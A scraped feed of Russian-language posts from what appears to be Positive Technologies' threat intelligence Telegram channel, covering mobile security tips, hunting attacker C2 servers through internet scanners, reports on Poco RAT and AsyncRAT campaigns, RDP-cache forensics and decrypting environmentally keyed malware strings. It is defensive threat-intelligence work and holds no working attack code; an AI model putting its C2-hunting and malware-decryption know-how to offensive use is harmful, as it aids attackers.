3️⃣ При получении от знакомого голосовых, СМС- и видеосообщений с необычными просьбами свяжитесь с ним через альтернативные каналы (злоумышленники часто используют дипфейки).

4️⃣ Не храните пароли и банковские реквизиты в избранных сообщениях и чатах.

5️⃣ Устанавливайте приложения только из официальных магазинов и с сайтов разработчиков. Проверяйте запрашиваемые разрешения: если приложение требует доступ к данным, не соответствующим его функциональности, это может указывать на вредоносное ПО.

6️⃣ Регулярно проверяйте список установленных приложений — раздел «Приложения» («Установленные файлы» и т. п.) в параметрах устройства. Некоторое вредоносное ПО скрывает себя от пользователя. Можно также использовать средства для мониторинга активности, которые уведомят о подозрительных действиях.

7️⃣ Обращайте внимание на уведомления и поведение устройства. Если приходит много нетипичных уведомлений или устройство сильно нагревается в неактивном состоянии, это может быть признаком того, что оно заражено.

8️⃣ Регулярно обновляйте ОС и приложения. В обновлениях часто содержатся исправления безопасности.

9️⃣ Используйте проверенные антивирусы.

1️⃣0️⃣ Для защиты от физического доступа к устройству используйте надежный пароль.

1️⃣1️⃣ Регулярно создавайте резервные копии данных и храните их в безопасном месте.

1️⃣2️⃣ Для оценки ущерба при заражении мобильного устройства проведите его исследование.

1️⃣3️⃣ Постоянно обучайтесь и будьте в курсе новых угроз. Для общей осведомленности можете пройти бесплатные курсы Positive Technologies — «Личная кибербезопасность» и «Базовая кибербезопасность: первое погружение».

💡 Помните, что APK (Android Package Kit) — это формат, используемый в контексте приложений, но никак не для фото- и видеофайлов.

🎁 Бонус: опубликовали IoCs за 2025 год в Telegraph.

#news #tips #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
C2 hunting: часть 2. Ищем серверы хакеров по внешним признакам 😁

В предыдущей части мы с вами поговорили о том, как расширить знание об инфраструктуре хакеров, используя PDNS и Whois.

Сегодня обсудим, как искать серверы хакеров не только когда они уже начали использовать свою инфраструктуру в атаках, но и в момент ее развертывания.

Перед самой атакой хакеры, как правило, занимаются подготовкой инструментария и сетевой инфраструктуры. В моделях угроз этот этап обычно называется weaponization или resource development.

Практически у любого ВПО в том или ином виде есть механизм коммуникации с C2. Сам C2 обладает рядом признаков, которые могут быть получены, если его просканировать или просто обратиться на конкретный порт, например 443. Так мы, скорее всего, получим параметры TLS-сертификата, параметры TLS-соединения, заголовки ответа сервера и содержимое веб-страницы.

Соответственно, разбирая ВПО хакеров и анализируя их сетевую инфраструктуру, мы будем иметь представление об уникальных признаках, которые они используют на своих C2 для конкретного ВПО, что позволит нам в некоторых случаях обнаруживать их C2 в момент развертывания сетевой инфраструктуры для атаки и превентивно блокировать эти индикаторы на СЗИ.

Список наиболее популярных признаков, которые можно использовать для идентификации С2:

Параметры TLS-сертификата
Параметры TLS-соединения (JA3, JA4, JARM и т. д.)
Заголовки ответа от сервера
Контент и title страницы
Набор открытых портов
Favicon

Ограничить поиск всегда можно с помощью указания ASN, хостера или страны.

Список сервисов, которые помогут вам искать С2 таким способом:

Shodan
Censys
FOFA
ZoomEye
BinaryEdge
Netlas
ONYPHE
Самописный сканер

Руками искать по всем сервисам трудозатратно, но все же необходимо, так как каждый сервис может выдать разные результаты. Чтобы снизить затраты на ручной труд, нужна автоматизация. Мы у себя разработали систему SCANDAT, которая имеет внутренний поисковый синтаксис и автоматически генерирует поисковые правила под каждый сервис.

😠 На скриншотах 1–3 вы можете увидеть примеры запросов для обнаружения C2 для ВПО GoRed, которое использует группа ExCobalt.

Кроме того, есть базовое опенсорс-решение для автоматизации запросов.

В конечном итоге все идентифицированные C2 из нашей системы попадают в продукты компании, повышая уровень обнаружения угроз.

💡 Стоит отметить, что некоторые разработчики MaaS стараются противодействовать таким методам обнаружения. Например, с определенной версии Medusa Stealer ее разработчики убрали title, некоторый контент на странице и добавили генерацию случайных данных в TLS-сертификат, чтобы нельзя было идентифицировать панель управления стилером через популярные сервисы.

Вы можете не только собирать такие серверы и отправлять их в фиды для СЗИ, но и писать эмуляторы сетевого протокола ВПО, чтобы со свежего С2 получить пейлоад или какой-либо модуль. Это позволит вам получить дополнительные индикаторы и атрибуционные признаки.

#TI #C2 #tips #hunt #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Эволюция инструментов Dark Caracal 🐱

В первом квартале 2024 года в поле зрения сотрудников департамента Threat Intelligence экспертного центра безопасности Positive Technologies (PT ESC) попал вредоносный семпл.

Целевой аудиторией атаки стали испаноговорящие пользователи — это понятно по содержимому вредоносных вложений и по языку фишинговых писем, используемых для доставки ВПО. Сообщество назвало вредонос Poco RAT — по наименованию используемых библиотек POCO для C++. На момент обнаружения семпл не был атрибутирован ни к одной известной группировке.

🤨 Исследование семпла выявило определенный набор функций для удаленного управления устройством жертвы, включая загрузку файлов, снятие скриншотов, выполнение команд, управление процессами и файлами.

Дополнительный анализ тактик, техник и процедур, цепочки атак и географии кампании позволил связать активность с группировкой Dark Caracal, известной использованием вредоносного ПО Bandook. При этом была выявлена схожесть дропперов Poco RAT и Bandook.

Подробнее о Dark Caracal, ее методах и новых инструментах вы можете прочитать в исследовании на нашем сайте 👽

#TI #APT #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Desert Dexter — группировка, атакующая жителей арабских государств 👽

Cпециалисты группы киберразведки TI-департамента PT ESC обнаружили вредоносную кампанию, нацеленную на жителей стран Ближнего Востока и Северной Африки, активную с сентября 2024 года.

👾 В качестве ВПО выступает AsyncRAT, использующий модифицированный модуль IdSender, который собирает информацию о наличии в браузерах расширений для двухфакторной аутентификации, расширений криптокошельков, а также о наличии ПО для работы с ними.

Для распространения AsyncRAT злоумышленники создают поддельные новостные группы в социальных сетях и публикуют посты с рекламой. Эти посты содержат ссылки на файлообменник или Telegram-канал, где и располагается вредонос.

🔍 В ходе исследования мы обнаружили около 900 потенциальных жертв, большая часть которых — обычные пользователи.

Подробное изучение инцидентов и пострадавших показало, что наиболее атакуемыми странами являются Египет 🇪🇬, Катар 🇶🇦, Ливия 🇱🇾, ОАЭ 🇦🇪, Саудовская Аравия 🇸🇦 и Турция 🇹🇷. Мы назвали группировку Desert Dexter, в честь одного из подозреваемых.

👤 Мы также выяснили, что злоумышленники создают временные аккаунты и новостные каналы в «лицекниге»* и обходят правила фильтрации рекламы. Подобная атака была описана в 2019 году экспертами Check Point, но сейчас наблюдается изменение некоторых ее техник.

🐃 Подробнее о том, какую цепочку атаки подготовила Desert Dexter, читайте в исследовании на нашем сайте.

*Принадлежит Meta, которая признана экстремистской организацией и запрещена в России.

#TI #APT #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
1C_shell для «1С» 🦞

Иногда случаются ситуации, когда в ходе расследования инцидента информационной безопасности традиционно используемые артефакты ОС содержат крайне скудную информацию, а делать что-то все-таки надо...

Самым терпеливым и любопытным может помочь связка инструментов для работы с кэшем RDP (который, как известно, хранится в Windows по адресу C:\Users\%Username%\AppData\Local\Microsoft\Terminal Server Client\Cache), состоящая из парсера кэша bmc-tools и инструмента для «склеивания» фрагментов изображения RdpCacheStitcher.

Поскольку кэш RDP представляет собой набор фрагментов размером максимум 64×64 пикселя, а количество фрагментов составляет обычно несколько тысяч для одного файла кэша, работа по восстановлению и поиску интересных фрагментов достаточно кропотливая, но иногда приносит неожиданные результаты.

Практика показывает, что однозначной закономерности в расположении отдельных фрагментов внутри кэша нет, но, как правило, соседние фрагменты могут располагаться в пределах окна в 20–30 последовательных изображений. Тем не менее полностью автоматизировать «склеивание» этих пазлов — задача нетривиальная.

🔎 Итак, что же любопытного можно обнаружить внутри подобного кэша?

1. Следы внезапно проснувшегося интереса пользователя к разного рода сомнительным инструментам (скриншоты 1, 2);

2. Следы запуска подозрительных файлов с еще более подозрительными параметрами (скриншот 3);

3. Выполнение до боли знакомых команд, которые, казалось бы, простой бухгалтер выполнять не должен (скриншот 4);

4. Нечто крайне подозрительное, интересное (скриншот 5).

При обнаружении такого рода данных следует внимательно изучить соседние фрагменты — там, как правило, можно обнаружить какое-то развитие наметившейся идеи (скриншоты 6, 7, 8).

Вот тут уже возникает повод серьезно задуматься и после раздумий, сопровождаемых поиском следующих фрагментов изображения, прийти к выводам. В данном случае в ходе расследования было обнаружено и подтверждено использование своеобразного шелла 1C_shell для «1С».

Несмотря на то, что механизмы работы подобных «внешних обработок» системы «1С» были уже давно описаны в материале «Взломать за 60 секунд!» и докладе «„1С“ глазами пентестера», а все соответствующие рекомендации сформулированы, схема продолжает работать и по сей день.

#ir #dfir #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Используете ли вы криптографию правильно? 🔓

Группе исследования сложных угроз департамента Threat Intelligence часто приходится решать интересные задачи в процессе реверса ВПО. Этот раз не стал исключением. Существует такая техника, как Execution Guardrails: Environmental Keying, — она нужна для ограничения выполнения ВПО только в конкретной целевой среде. Например, ее использует группировка Decoy Dog в своих операциях.

В попавшем к нам на исследование семпле применялась эта же техника: в качестве ключа для используемых строк использовалось имя компьютера, которого у нас не было, дополнительно семпл был обфусцирован. В случае, если ВПО запускалось не на нужном злоумышленнику устройстве, оно крашилось — отсюда и стартует наше исследование.

☠️ Выяснилось, что ВПО «падает» при попытке вызова функции LoadLibraryA с переданным именем библиотеки в качестве неотображаемых байтов. Этот набор байтов должен представлять собой имя библиотеки, которая расшифровывается в цикле; при каждой итерации берется символ от имени компьютера, с помощью логических операций приводится в необратимый вид, а после уже гаммируется с зашифрованным текстом и его однобайтовой константой.

Чтобы вычислить промежуточный ключ (который формируется в результате логических операций), мы прибегнули к атаке на основе открытого текста. Возвращаясь к функции LoadLibraryA: мы знаем, что имя библиотеки будет составлять 13 байт в кодировке ASCII + '\x00'; так мы смогли восстановить треть ключа, а далее по аналогии уже с другими строками восстановили оставшуюся часть ключа.

Дешифрование строки:
F(sym_comp_name) ^ sym_enc ^ cnst_enc = sym_dec
F(sym_comp_name) — логические операции

Получение промежуточного ключа:
sym_dll_name ^ sym_enc ^ cnst_enc = irr_sym_key
irr_sym_key — промежуточный байт ключа, необратимый


Группа исследования сложных угроз рекомендует одну из платформ для изучения криптоанализа — cryptohack.org.

#tips #reverse #malware #cryptography #TI
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM